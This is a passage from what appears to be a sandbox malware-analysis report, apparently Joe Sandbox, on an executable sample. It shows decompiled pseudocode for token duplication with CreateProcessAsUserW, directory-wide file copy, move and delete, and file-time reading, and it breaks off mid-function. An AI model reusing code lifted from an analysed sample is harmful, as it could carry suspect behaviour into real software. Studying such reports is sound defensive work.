                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                                                                                                                                                                            • String ID: @hhv$S\
                                                                                                                                                                            • API String ID: 4084823496-1532503452
                                                                                                                                                                            • Opcode ID: d6c90861e7745592dfe2d2a5a9a8de57b32fc9d64ac521b08e637f2d14c4e5d4
                                                                                                                                                                            • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                                                                                                                                                                            • Opcode Fuzzy Hash: d6c90861e7745592dfe2d2a5a9a8de57b32fc9d64ac521b08e637f2d14c4e5d4
                                                                                                                                                                            • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004461ED Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 227processCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 73%
                                                                                                                                                                            			E004461ED(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t86;
				void* _t102;
				void* _t103;
				struct _STARTUPINFOW* _t106;
				struct HDESK__* _t127;
				struct HWINSTA__* _t155;
				WCHAR* _t156;
				int _t159;
				void* _t162;
				void* _t163;
				void* _t164;
				intOrPtr _t179;

				_t157 =  *((intOrPtr*)(_t162 + 0x5c));
				_t156 = 0;
				 *((char*)(_t162 + 0x23)) = 0;
				 *((intOrPtr*)(_t162 + 0x24)) = 0;
				_t155 = 0;
				_t127 = 0;
				 *((intOrPtr*)(_t162 + 0x28)) = 0;
				 *((intOrPtr*)(_t162 + 0x30)) = 0;
				 *((intOrPtr*)(_t162 + 0x2c)) = 0;
				E004131F0(0, _t162 + 0x44, 0, 0x20);
				_t83 =  *(_t162 + 0x7c);
				_t163 = _t162 + 0xc;
				 *((intOrPtr*)(_t163 + 0x40)) = 0x20;
				 *((intOrPtr*)(_t163 + 0x48)) =  *((intOrPtr*)(_t162 + 0x5c));
				 *((char*)(_t163 + 0x64)) = 0;
				if(( *(_t162 + 0x7c) & 0x00000001) != 0) {
					 *((char*)(_t163 + 0x64)) = 1;
				}
				if(E0043916A(_t157,  *(_t163 + 0x70),  *(_t163 + 0x6c), _t83, _t163 + 0x18) == 0) {
					L24:
					_t86 =  *((intOrPtr*)(_t163 + 0x5c));
					__eflags = _t86;
					if(_t86 != 0) {
						 *0x482728( *(_t163 + 0x18), _t86);
					}
					goto L26;
				} else {
					if(( *(_t163 + 0x70) & 0x00000002) == 0) {
						L6:
						_t155 = OpenWindowStationW(L"winsta0", 0, 0x60000);
						if(_t155 == 0 || _t155 == 0xffffffff) {
							goto L24;
						} else {
							 *((intOrPtr*)(_t163 + 0x28)) = GetProcessWindowStation();
							if(SetProcessWindowStation(_t155) == 0) {
								goto L24;
							}
							_t127 = OpenDesktopW(L"default", 0, 0, 0x60081);
							if(_t127 == 0) {
								goto L24;
							}
							_t175 = _t127 - 0xffffffff;
							if(_t127 == 0xffffffff) {
								goto L24;
							}
							_t102 = E0043919D(_t156, _t175,  *(_t163 + 0x18), _t163 + 0x1c);
							_t176 = _t102;
							if(_t102 == 0) {
								goto L24;
							}
							 *((char*)(_t163 + 0x34)) = 0;
							 *((char*)(_t163 + 0x35)) = 0xb;
							 *((intOrPtr*)(_t163 + 0x38)) = 0xf0000000;
							 *((char*)(_t163 + 0x40)) = 0;
							 *((char*)(_t163 + 0x41)) = 4;
							 *((intOrPtr*)(_t163 + 0x44)) = 0xf037f;
							_t103 = E00445FE0(_t176, _t155,  *((intOrPtr*)(_t163 + 0x1c)), _t163 + 0x28);
							_t177 = _t103;
							if(_t103 == 0) {
								goto L24;
							}
							 *((char*)(_t163 + 0x34)) = 0;
							 *((char*)(_t163 + 0x35)) = 0;
							 *((intOrPtr*)(_t163 + 0x38)) = 0xf01ff;
							if(E00445DD3(_t177, _t127,  *((intOrPtr*)(_t163 + 0x1c)), _t163 + 0x28) == 0) {
								goto L24;
							}
							_t106 =  *(_t163 + 0x80);
							_t106->lpDesktop = L"winsta0\\default";
							_t107 =  *((intOrPtr*)(_t163 + 0x74));
							_t159 = _t106->dwFlags & 0x00000100;
							 *(_t163 + 0x6c) = _t159;
							_t179 =  *((intOrPtr*)(_t163 + 0x74));
							if(_t179 != 0) {
								_push( ~(_t179 > 0) | (E004112D5(_t107) + 0x00000001) * 0x00000002);
								_t156 = E0041171A(_t127, _t155,  ~(_t179 > 0) | (E004112D5(_t107) + 0x00000001) * 0x00000002);
								E0041326A(_t156,  *(_t163 + 0x7c), E004112D5(_t107) + 1);
								_t159 =  *(_t163 + 0x80);
								_t163 = _t163 + 0x14;
							}
							if( *((char*)(_t163 + 0x64)) == 0) {
								L18:
								if(( *(_t163 + 0x70) & 0x00000004) != 0) {
									L20:
									if(CreateProcessAsUserW( *(_t163 + 0x2c), 0, _t156, 0, 0, _t159,  *(_t163 + 0x80) | 0x00000400,  *(_t163 + 0x24),  *(_t163 + 0x7c),  *(_t163 + 0x80),  *(_t163 + 0x84)) == 0) {
										goto L24;
									}
									_t186 =  *((char*)(_t163 + 0x64));
									if( *((char*)(_t163 + 0x64)) != 0) {
										E00439102( *(_t163 + 0x84), _t163 + 0x60, _t163 + 0x18);
									}
									 *((char*)(_t163 + 0x17)) = 1;
									L26:
									E00438FB6( *((intOrPtr*)(_t163 + 0x1c)));
									_t164 = _t163 + 4;
									CloseWindowStation(_t155);
									CloseDesktop(_t127);
									SetProcessWindowStation( *(_t164 + 0x24));
									CloseHandle( *(_t164 + 0x18));
									E004112EF(_t127,  *((intOrPtr*)(_t163 + 0x1c)), _t155, _t156, _t186, _t156);
									 *0x482724( *(_t164 + 0x24));
									return  *((intOrPtr*)(_t164 + 0x1b));
								}
								_push(0);
								_push( *(_t163 + 0x18));
								_push(_t163 + 0x28);
								if( *0x482720() == 0) {
									goto L24;
								}
								goto L20;
							} else {
								_push(_t163 + 0x40);
								_push( *(_t163 + 0x18));
								if( *0x48272c() == 0) {
									goto L24;
								}
								goto L18;
							}
						}
					}
					if(DuplicateTokenEx( *(_t163 + 0x18), 0, 0, 2, 1, _t163 + 0x6c) == 0) {
						goto L24;
					}
					CloseHandle( *(_t163 + 0x18));
					 *(_t163 + 0x18) =  *(_t163 + 0x6c);
					goto L6;
				}
			}



















                                                                                                                                                                            0x004461f2
                                                                                                                                                                            0x004461f8
                                                                                                                                                                            0x00446202
                                                                                                                                                                            0x00446207
                                                                                                                                                                            0x0044620b
                                                                                                                                                                            0x0044620d
                                                                                                                                                                            0x0044620f
                                                                                                                                                                            0x00446213
                                                                                                                                                                            0x00446217
                                                                                                                                                                            0x0044621b
                                                                                                                                                                            0x00446220
                                                                                                                                                                            0x00446224
                                                                                                                                                                            0x00446227
                                                                                                                                                                            0x0044622f
                                                                                                                                                                            0x00446233
                                                                                                                                                                            0x00446239
                                                                                                                                                                            0x0044623b
                                                                                                                                                                            0x0044623b
                                                                                                                                                                            0x00446258
                                                                                                                                                                            0x00446475
                                                                                                                                                                            0x00446475
                                                                                                                                                                            0x00446479
                                                                                                                                                                            0x0044647b
                                                                                                                                                                            0x00446483
                                                                                                                                                                            0x00446483
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044625e
                                                                                                                                                                            0x00446263
                                                                                                                                                                            0x00446298
                                                                                                                                                                            0x004462aa
                                                                                                                                                                            0x004462ae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004462bd
                                                                                                                                                                            0x004462c4
                                                                                                                                                                            0x004462d0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004462ea
                                                                                                                                                                            0x004462ee
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004462f4
                                                                                                                                                                            0x004462f7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446307
                                                                                                                                                                            0x0044630c
                                                                                                                                                                            0x0044630e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044631f
                                                                                                                                                                            0x00446324
                                                                                                                                                                            0x00446329
                                                                                                                                                                            0x00446331
                                                                                                                                                                            0x00446336
                                                                                                                                                                            0x0044633b
                                                                                                                                                                            0x00446343
                                                                                                                                                                            0x00446348
                                                                                                                                                                            0x0044634a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044635b
                                                                                                                                                                            0x00446360
                                                                                                                                                                            0x00446365
                                                                                                                                                                            0x00446374
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044637a
                                                                                                                                                                            0x00446384
                                                                                                                                                                            0x0044638b
                                                                                                                                                                            0x0044638f
                                                                                                                                                                            0x00446395
                                                                                                                                                                            0x00446399
                                                                                                                                                                            0x0044639b
                                                                                                                                                                            0x004463b8
                                                                                                                                                                            0x004463be
                                                                                                                                                                            0x004463c7
                                                                                                                                                                            0x004463cc
                                                                                                                                                                            0x004463d3
                                                                                                                                                                            0x004463d3
                                                                                                                                                                            0x004463db
                                                                                                                                                                            0x004463f5
                                                                                                                                                                            0x004463fa
                                                                                                                                                                            0x00446412
                                                                                                                                                                            0x0044644e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446450
                                                                                                                                                                            0x00446455
                                                                                                                                                                            0x00446469
                                                                                                                                                                            0x00446469
                                                                                                                                                                            0x0044646e
                                                                                                                                                                            0x00446489
                                                                                                                                                                            0x0044648e
                                                                                                                                                                            0x00446493
                                                                                                                                                                            0x00446497
                                                                                                                                                                            0x0044649e
                                                                                                                                                                            0x004464a9
                                                                                                                                                                            0x004464b4
                                                                                                                                                                            0x004464bb
                                                                                                                                                                            0x004464c8
                                                                                                                                                                            0x004464d9
                                                                                                                                                                            0x004464d9
                                                                                                                                                                            0x00446400
                                                                                                                                                                            0x00446402
                                                                                                                                                                            0x00446407
                                                                                                                                                                            0x00446410
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004463dd
                                                                                                                                                                            0x004463e5
                                                                                                                                                                            0x004463e6
                                                                                                                                                                            0x004463ef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004463ef
                                                                                                                                                                            0x004463db
                                                                                                                                                                            0x004462ae
                                                                                                                                                                            0x0044627f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044628a
                                                                                                                                                                            0x00446294
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446294

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 0044621B
                                                                                                                                                                            • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                                                                                            • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                                                                                            • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                                                                                            • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                                                                                            • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                                                                                            • _wcslen.LIBCMT ref: 0044639E
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                            • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                                                                                            • 731F6290.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                                                                                            • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                                                                                            • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                                                                                            • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                                                                                            • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: StationWindow$CloseProcess$DesktopHandleOpen$CreateDuplicateF6290TokenUser_malloc_memset_wcslen_wcsncpy
                                                                                                                                                                            • String ID: $default$winsta0
                                                                                                                                                                            • API String ID: 1840570007-1027155976
                                                                                                                                                                            • Opcode ID: 817deedee63883cde40f258c4bc7b440490845da481243857d1a4ceb1f907582
                                                                                                                                                                            • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                                                                                            • Opcode Fuzzy Hash: 817deedee63883cde40f258c4bc7b440490845da481243857d1a4ceb1f907582
                                                                                                                                                                            • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 64%
                                                                                                                                                                            			E0044BD29(void* __edx, void* __eflags, void* _a4, short _a8, char _a12, char _a16, short _a536, short _a1064, char _a1592, struct _WIN32_FIND_DATAW _a2120, char _a2164, char _a2712, char _a3232, char _a3752) {
				char _v0;
				char _v1;
				int _v2;
				void* __ebx;
				void* __ebp;
				void* _t61;
				void* _t62;
				int _t70;
				void* _t79;
				int _t81;
				int _t85;
				int _t88;
				int _t95;
				void* _t131;
				void* _t134;
				signed int _t135;
				void* _t137;
				void* _t138;
				void* _t139;
				void* _t141;

				_t141 = __eflags;
				E00425210(0x10b4);
				_t95 = 0;
				E0040FFB0( &_a1064, 0, __edx, _t134);
				E0040FFB0( &_a1592, 0, __edx, _t134);
				_v1 = E00436A1D(_t141,  &_a1064,  &_a1592);
				_t61 = E00436AC4( &_a1064);
				_t137 = (_t135 & 0xfffffff8) + 0xc;
				if(_t61 != 0) {
					E00411663( &_a1064, L"\\*.*");
					_t137 = _t137 + 8;
				}
				_t62 = E00436AC4( &_a1592);
				_t138 = _t137 + 4;
				if(_t62 != 0) {
					E00411663( &_a1592, L"\\*.*");
					_t138 = _t138 + 8;
				}
				E00413DB0( &_a1064,  &_v0,  &_a2712,  &_a3752,  &_a3232);
				_t139 = _t138 + 0x14;
				_t131 = FindFirstFileW( &_a1064,  &_a2120);
				_v2 = 1;
				if(_t131 == 0xffffffff) {
					L24:
					FindClose(_t131);
					return _t95;
				} else {
					while(_v2 == 1) {
						if((_a2120.dwFileAttributes & 0x00000010) != 0) {
							L22:
							_t70 = FindNextFileW(_t131,  &_a2120);
							__eflags = _t70;
							if(_t70 == 0) {
								_v2 = _t70;
							}
							continue;
						} else {
							_push( &_a536);
							_push( &_a1592);
							_push( &_a3232);
							_push( &_a3752);
							_push( &_a2164);
							E00436879();
							E00411691( &_a8,  &_v0);
							E00411663( &_a8,  &_a2712);
							E00411663( &_a8,  &_a2164);
							_t79 = E00436B22( &_a536);
							_t139 = _t139 + 0x30;
							if(_t79 == 0) {
								L12:
								if(_a16 != 1) {
									_t81 = CopyFileW( &_a8,  &_a536, 0);
									goto L18;
								} else {
									if(_v1 != 0) {
										_t85 = CopyFileW( &_a8,  &_a536, 0);
										__eflags = _t85;
										if(_t85 == 0) {
											goto L19;
										} else {
											_t81 = DeleteFileW( &_a8);
											goto L18;
										}
									} else {
										_t81 = MoveFileW( &_a8,  &_a536);
										L18:
										if(_t81 != 0) {
											goto L21;
										} else {
											goto L19;
										}
									}
								}
							} else {
								if(_a12 == 0) {
									L19:
									FindClose(_t131);
									return 0;
								} else {
									if(lstrcmpiW( &_a8,  &_a536) == 0) {
										_t88 = MoveFileW( &_a8,  &_a536);
										__eflags = _t88;
										if(_t88 == 0) {
											goto L19;
										} else {
											L21:
											_t95 = 1;
											goto L22;
										}
									} else {
										DeleteFileW( &_a536);
										goto L12;
									}
								}
							}
						}
						goto L25;
					}
					goto L24;
				}
				L25:
			}























                                                                                                                                                                            0x0044bd29
                                                                                                                                                                            0x0044bd34
                                                                                                                                                                            0x0044bd46
                                                                                                                                                                            0x0044bd48
                                                                                                                                                                            0x0044bd57
                                                                                                                                                                            0x0044bd79
                                                                                                                                                                            0x0044bd7d
                                                                                                                                                                            0x0044bd82
                                                                                                                                                                            0x0044bd87
                                                                                                                                                                            0x0044bd96
                                                                                                                                                                            0x0044bd9b
                                                                                                                                                                            0x0044bd9b
                                                                                                                                                                            0x0044bda6
                                                                                                                                                                            0x0044bdab
                                                                                                                                                                            0x0044bdb0
                                                                                                                                                                            0x0044bdbf
                                                                                                                                                                            0x0044bdc4
                                                                                                                                                                            0x0044bdc4
                                                                                                                                                                            0x0044bdec
                                                                                                                                                                            0x0044bdf1
                                                                                                                                                                            0x0044be0a
                                                                                                                                                                            0x0044be0c
                                                                                                                                                                            0x0044be14
                                                                                                                                                                            0x0044bf7d
                                                                                                                                                                            0x0044bf7e
                                                                                                                                                                            0x0044bf8c
                                                                                                                                                                            0x0044be1a
                                                                                                                                                                            0x0044be20
                                                                                                                                                                            0x0044be33
                                                                                                                                                                            0x0044bf5d
                                                                                                                                                                            0x0044bf66
                                                                                                                                                                            0x0044bf6c
                                                                                                                                                                            0x0044bf6e
                                                                                                                                                                            0x0044bf74
                                                                                                                                                                            0x0044bf74
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044be39
                                                                                                                                                                            0x0044be40
                                                                                                                                                                            0x0044be48
                                                                                                                                                                            0x0044be50
                                                                                                                                                                            0x0044be58
                                                                                                                                                                            0x0044be60
                                                                                                                                                                            0x0044be61
                                                                                                                                                                            0x0044be73
                                                                                                                                                                            0x0044be85
                                                                                                                                                                            0x0044be97
                                                                                                                                                                            0x0044bea4
                                                                                                                                                                            0x0044bea9
                                                                                                                                                                            0x0044beae
                                                                                                                                                                            0x0044bedb
                                                                                                                                                                            0x0044bedf
                                                                                                                                                                            0x0044bf2e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bee1
                                                                                                                                                                            0x0044bee6
                                                                                                                                                                            0x0044bf0c
                                                                                                                                                                            0x0044bf0e
                                                                                                                                                                            0x0044bf10
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bf12
                                                                                                                                                                            0x0044bf17
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bf17
                                                                                                                                                                            0x0044bee8
                                                                                                                                                                            0x0044bef5
                                                                                                                                                                            0x0044bf30
                                                                                                                                                                            0x0044bf32
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bf32
                                                                                                                                                                            0x0044bee6
                                                                                                                                                                            0x0044beb0
                                                                                                                                                                            0x0044beb4
                                                                                                                                                                            0x0044bf34
                                                                                                                                                                            0x0044bf35
                                                                                                                                                                            0x0044bf43
                                                                                                                                                                            0x0044beb6
                                                                                                                                                                            0x0044becb
                                                                                                                                                                            0x0044bf51
                                                                                                                                                                            0x0044bf57
                                                                                                                                                                            0x0044bf59
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bf5b
                                                                                                                                                                            0x0044bf5b
                                                                                                                                                                            0x0044bf5b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bf5b
                                                                                                                                                                            0x0044becd
                                                                                                                                                                            0x0044bed5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044bed5
                                                                                                                                                                            0x0044becb
                                                                                                                                                                            0x0044beb4
                                                                                                                                                                            0x0044beae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044be33
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044be20
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,?,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,004A8E80,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                              • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                              • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                              • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                              • Part of subcall function 00436AC4: GetFileAttributesW.KERNELBASE(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044BD96
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044BE85
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044BE97
                                                                                                                                                                            • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                                                                                            • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                                                                                            • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                                                                                            • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                                                                                            • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                                                                                            • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                                                                                            • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                                                                                            • String ID: \*.*
                                                                                                                                                                            • API String ID: 2188072990-1173974218
                                                                                                                                                                            • Opcode ID: 17236194f9edcd562325c7edff49f5a7e5c5602ba918c05fd512f14d450464fd
                                                                                                                                                                            • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                                                                                            • Opcode Fuzzy Hash: 17236194f9edcd562325c7edff49f5a7e5c5602ba918c05fd512f14d450464fd
                                                                                                                                                                            • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00475FE5 Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 213timefileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 49%
                                                                                                                                                                            			E00475FE5(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				char _v628;
				struct _FILETIME _v636;
				struct _FILETIME _v644;
				struct _FILETIME _v652;
				signed int _v656;
				signed int _v658;
				signed int _v660;
				signed int _v662;
				signed int _v666;
				signed int _v668;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				void* _t66;
				void* _t70;
				void* _t73;
				void* _t77;
				void* _t80;
				void* _t83;
				void* _t89;
				void* _t101;
				void* _t104;
				intOrPtr _t140;
				intOrPtr* _t148;
				intOrPtr _t150;

				_t140 = _a4;
				_t148 = __ecx;
				_t101 = 0;
				_t54 = FindFirstFileW(E00453081( *((intOrPtr*)( *((intOrPtr*)(_t140 + 4))))),  &_v596);
				if(_t54 == 0xffffffff) {
					E0040E6D0(_a8, __eflags);
					E004040E0( *((intOrPtr*)( *_t148 + 4)) + _t148, 1, 0);
					__eflags = 0;
					return 0;
				} else {
					_v652.dwLowDateTime = _v596.ftCreationTime;
					_v652.dwHighDateTime = _v588;
					_v644.dwLowDateTime = _v596.ftLastAccessTime;
					_v644.dwHighDateTime = _v580;
					_v636.dwLowDateTime = _v596.ftLastWriteTime;
					_v636.dwHighDateTime = _v572;
					FindClose(_t54);
					if( *((intOrPtr*)(_t140 + 8)) > 1) {
						_t101 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t140 + 4)) + 4)));
					}
					_t104 = _t101 - 1;
					if(_t104 == 0) {
						FileTimeToLocalFileTime( &_v652,  &_v652);
						_t120 =  &_v668;
						_push( &_v668);
						_push( &_v652);
					} else {
						if(_t104 == 1) {
							FileTimeToLocalFileTime( &_v644,  &_v644);
							_push( &_v668);
							_t120 =  &_v644;
							_push( &_v644);
						} else {
							_t120 =  &_v636;
							FileTimeToLocalFileTime( &_v636,  &_v636);
							_push( &_v668);
							_push( &_v636);
						}
					}
					FileTimeToSystemTime();
					if( *((intOrPtr*)(_t140 + 8)) <= 2) {
						L11:
						_t150 = _a8;
						_push(6);
						_push(1);
						E0040E7E0(_t150, _t120);
						_push(0);
						_push(1);
						_push(0);
						_push(_t150);
						_t66 = E0040D030();
						E0041353A(_v668 & 0x0000ffff, _t140, _t150,  &_v628, "%4d", _v668 & 0x0000ffff);
						_t143 =  &_v628;
						E0040E6D0(_t66, __eflags);
						_push(1);
						_push(1);
						_push(0);
						_push(_t150);
						_t70 = E0040D030();
						E0041353A(_v668 & 0x0000ffff,  &_v628, _t150,  &_v628, L"%02d", _v666 & 0x0000ffff);
						E0040E6D0(_t70, __eflags);
						_push(2);
						_push(1);
						_push(0);
						_push(_t150);
						_t73 = E0040D030();
